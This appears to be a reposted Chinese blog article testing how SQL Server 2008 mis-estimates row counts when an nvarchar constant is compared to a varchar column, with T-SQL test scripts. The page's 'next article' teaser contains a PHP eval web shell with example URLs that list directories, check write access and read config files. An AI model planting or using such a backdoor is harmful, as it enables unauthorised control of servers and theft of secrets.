SQL Server 2008处理隐式数据类型转换在执行计划中的增强
在 SQL Server 查询中,不经意思的隐匿数据类型转换可能导致极大的查询性能问题,比如一个看起来没有任何问题简单的条件:WHERE c = N’x’ ,如果 c 的数据类型是 varchar,并且表中包含大量的数据,这个查询可能导致极大的性能开销,因为这个操作会导致列 c 的数据类型转换为 nvarchar与常量值匹配,在 SQL Server 2008 及之后的版本中,这种操作做了增强,一定程度上降低了性能开销,参考SQL Server 2008 处理隐式数据类型转换在执行计划中的增强 。
不过在实际应用中发现,这种增强有时候似乎没有起到作用,还是会存在很大的性能问题。
最近找时间做了一个测试,找出了一种可能的问题。
1. 创建一个测试表
USE tempdb GOCREATE TABLE _t( c varchar(50) );CREATE INDEX IX_c ON _t( c );GO-- 加入 10000 条数据INSERT _tSELECT (9999 + id) FROM( SELECT TOP 10000 id = ROW_NUMBER() OVER( ORDER BY GETDATE() ) FROM sys.all_columns a, sys.all_columns )ID
2. 通过执行计划看下查询计划
-- Rebuild索引,确保无索引碎片和统计信息准确 ALTER INDEX IX_c ON _t REBUILD;GO SET SHOWPLAN_ALL ON GO SELECT * FROM _t WHERE c = N'10005b'; GO SET SHOWPLAN_ALL OFF;
注意EstimateRows列,该列值为1,表示评估的满足条件的数据是1条,现在看起来一切正常 。
3.把数据变一下,将大量数据变成相同值
-- 将 5000 条数据值变成一样,重建索引之后重新测试 UPDATE _t SET c = '15000' WHERE c >= '15000' ALTER INDEX IX_c ON _t REBUILD; GO SET SHOWPLAN_ALL ON GO SELECT * FROM _t WHERE c = N'10005'; GO SET SHOWPLAN_ALL OFF;
然后我们发现评估的记录数变大了
4. 继续加大相同值的比例
-- 继续加大相同值的比例,重建索引之后重新测试 UPDATE _t SET c = '11000' WHERE c >= '11000' AND c < '15000' ALTER INDEX IX_c ON _t REBUILD; GO SET SHOWPLAN_ALL ON GO SELECT * FROM _t WHERE c = N'10005'; GO SET SHOWPLAN_ALL OFF; GO -- 继续加大相同值的比例,重建索引之后重新测试 UPDATE _t SET c = '10100' WHERE c >= '10100' AND c < '11000' ALTER INDEX IX_c ON _t REBUILD; GO SET SHOWPLAN_ALL ON GO SELECT * FROM _t WHERE c = N'10005'; GO SET SHOWPLAN_ALL OFF;
相应的,预估的行数也在增加
我不确定 SQL Server是按照什么标准来预估这种情况下的记录数,从执行计划看,它将 nvarchar 值通过 GetRangeThroughConvert 评估出一个范围,实际执行的是一个范围 seek,在试验中,查询的值是一个常量,可以准确评估,难道这个转换之后,把常量当变量评估了,所以是一个泛泛的评估结果值。
这个问题看起来不大,但在实际应用中,如果表的数据量很大,并且不是平均分布的话,这种错误的预估结果带来的性能影响是很大的,比如明明满足条件的很少,可以 seek, 但评估的结果很大,执行计划变 Scan了,在复杂的执行计划中,这个带来的影响更大。
看起来,2008(包括R2)还没有那么省心,这种问题还得控制,特别是程序中,.Net过来的参数通常都是 nvarchar类型,这种导致性能问题的情况遇到N多了 。
最后啰嗦一下的是,在 SQL Server 2014中,没有再发现这个问题(不知道 2012中怎么样)
原文发布时间为:2018-09-3
本文作者:邹建
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
都说 Python 赶超 Java,爬取拉勾网数据发现它的薪资已高至 50K!
人工智能的快速发展以及大数据时代的来临,使得 Python 语言不仅在人工智能领域大放异彩,在数据处理上也有着得天独厚的优势,在 Web 开发、网络编程、自动化运维、游戏开发、金融等领域扮演着越来越重要的角色。 百度搜索指数表明,2017 年 7 月份开始,Python 的搜索指数已经超过了 Java。Python 语言的热门由此可见一斑。 本文中,笔者决定在拉勾网(一家为互联网从业者提供工作机会的招聘网站)上爬取相关 Python 职位信息,对职位数据(薪酬、学历要求、区域信息、工作经验等)进行图形可视化分析。 01 前期准备 1、网页分析 打开拉勾网网站搜索 Python,可以发现每页有 15 条职位信息数据,最多有 30 页数据可以查看,共 450 条职位信息。我们需要获取的信息包括:职位、公司名称、薪酬范围、所在区域、学历要求、工作经验、公司融资情况、公司人数、工作要求描述。 2、请求数据分析 通过 Chrome 浏览器访问拉勾网,打开 Console 控制台可以发现,当进行翻页的时候,是通过 xhr 的请求方式请求的。通过观察,我们可以发现,URL 里面的 city 代表的是...
- 下一篇
PHP后门的一些用法
今天我们说一些最常见的PHP留后门的一些用法 首先,写一个最简单的后门,也可以叫做木马。 <?php eval($_GET['evl']); 就酱,你已经获得了这台服务器上的很多执行权限。那场景的用法有哪些呢? 打印服务器phpinfo http://www.test.com/a.php?evl=phpinfo() 查看某个目录下有什么文件 http://www.test.com/a.php?evl=var_dump(system("ls /mnt/web/ -a")); 查看目录是否可写,接下里就可以在可写的目录里创建可执行文件了 http://www.test.com/a.php?evl=var_dump(is_writable("/mnt/web/abc/")); 获取某个文件的内容,一般用来读取配置 http://www.test.com/a.php?evl=var_dump(file_get_contents("/mnt/web/temp/api.php")); 对某个可写目录进行写文件 http://www.test.com/a.php?evl=var_dump(fi...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- Docker使用Oracle官方镜像安装(12C,18C,19C)
- CentOS7,CentOS8安装Elasticsearch6.8.6
- CentOS6,CentOS7官方镜像安装Oracle11G
- CentOS7编译安装Cmake3.16.3,解决mysql等软件编译问题
- SpringBoot2编写第一个Controller,响应你的http请求并返回结果
- CentOS8编译安装MySQL8.0.19
- SpringBoot2配置默认Tomcat设置,开启更多高级功能
- Windows10,CentOS7,CentOS8安装Nodejs环境
- Docker快速安装Oracle11G,搭建oracle11g学习环境
- CentOS8,CentOS7,CentOS6编译安装Redis5.0.7